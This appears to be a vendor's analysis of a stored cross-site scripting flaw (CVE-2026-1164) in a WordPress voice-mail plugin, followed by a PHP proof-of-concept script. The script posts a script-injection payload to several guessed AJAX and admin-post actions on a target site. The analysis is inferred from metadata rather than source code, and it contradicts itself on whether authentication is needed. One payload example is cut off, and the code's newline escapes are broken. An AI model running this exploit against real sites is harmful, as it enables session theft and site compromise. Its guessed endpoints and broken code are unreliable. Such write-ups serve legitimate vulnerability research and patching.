Atomic Edge analysis of CVE-2026-1164 (metadata-based):
The Easy Voice Mail WordPress plugin version 1.2.5 and earlier contains an unauthenticated stored cross-site scripting vulnerability. The ‘message’ parameter lacks proper sanitization and output escaping, allowing attackers with administrator access to inject arbitrary JavaScript. The CVSS 6.1 score reflects a network-based attack with low complexity and no required privileges, leading to limited confidentiality and integrity impacts in a changed scope context.
Atomic Edge research indicates the root cause is improper neutralization of input during web page generation (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping on the ‘message’ parameter. Without source code, we infer the plugin likely processes user-supplied ‘message’ data through an AJAX handler or form submission endpoint, then stores and displays it without applying WordPress `sanitize_text_field()`, `wp_kses()`, or `esc_html()` functions. This inference aligns with common WordPress plugin patterns where user input enters the database via `$wpdb->insert()` or `update_option()` calls, then renders without escaping in admin or frontend pages.
Exploitation requires an attacker to send a crafted HTTP request containing malicious JavaScript in the ‘message’ parameter. The attack vector is likely a POST request to `/wp-admin/admin-ajax.php` with an action parameter referencing the plugin’s AJAX hook, such as `action=easy_voice_mail_save_message`. Alternatively, the plugin may use a direct admin POST handler at `/wp-admin/admin-post.php`. The payload would be a standard XSS vector like `alert(document.domain)` or `
`. Since the vulnerability affects all versions up to 1.2.5, no authentication is required, though the description mentions administrator-level access for injection, suggesting the vulnerable endpoint may lack capability checks.
Remediation requires implementing proper input validation and output escaping. The patched version 1.2.6 likely adds calls to WordPress sanitization functions before storing the ‘message’ parameter, such as `sanitize_textarea_field()` or `wp_kses_post()`. Output rendering should use `esc_html()` or `wp_kses()` depending on allowed HTML. The fix may also include adding proper capability checks using `current_user_can()` and nonce verification with `wp_verify_nonce()` to prevent CSRF attacks. These measures follow WordPress coding standards for handling user input.
Successful exploitation allows arbitrary JavaScript execution in the context of any user viewing the injected page. Attackers can steal session cookies, perform actions as the victim user, deface pages, or redirect to malicious sites. Since the vulnerability is stored XSS, the payload persists and executes for all users accessing the compromised page. The impact scope includes administrative users, potentially leading to full site compromise if an administrator’s session is hijacked. Data exposure risks include sensitive information from the WordPress dashboard and user sessions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1164 - Easy Voice Mail <= 1.2.5 - Unauthenticated Stored Cross-Site Scripting via 'message'
<?php
/**
* Proof of Concept for CVE-2026-1164
* Assumptions based on metadata:
* 1. The plugin uses an AJAX endpoint at /wp-admin/admin-ajax.php
* 2. The AJAX action parameter contains 'easy_voice_mail' prefix
* 3. The vulnerable parameter is named 'message'
* 4. No authentication or nonce is required (based on 'Unauthenticated' in title)
* 5. Payload is stored and executes when page loads
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common AJAX actions for voice mail plugins
$possible_actions = [
'easy_voice_mail_save_message',
'easy_voice_mail_submit',
'easy_voice_mail_process',
'save_voice_message',
'submit_voice_message'
];
// XSS payload - will execute when page containing the message loads
$payload = '<script>alert(`Atomic Edge XSS Test: ${document.domain}`)</script>';
foreach ($possible_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$data = [
'action' => $action,
'message' => $payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate WordPress AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response length: " . strlen($response) . "nn";
// Check for success indicators
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'saved') !== false)) {
echo "[+] Potential success with action: {$action}n";
echo "[+] Payload sent: {$payload}n";
echo "[+] Check the voice mail page for XSS executionn";
break;
}
curl_close($ch);
}
// Alternative test for admin-post.php endpoint
$admin_post_url = $target_url . '/wp-admin/admin-post.php';
$admin_post_data = [
'action' => 'easy_voice_mail_action',
'message' => $payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($admin_post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing admin-post.php endpointn";
echo "HTTP Code: {$http_code}n";
curl_close($ch);
?>
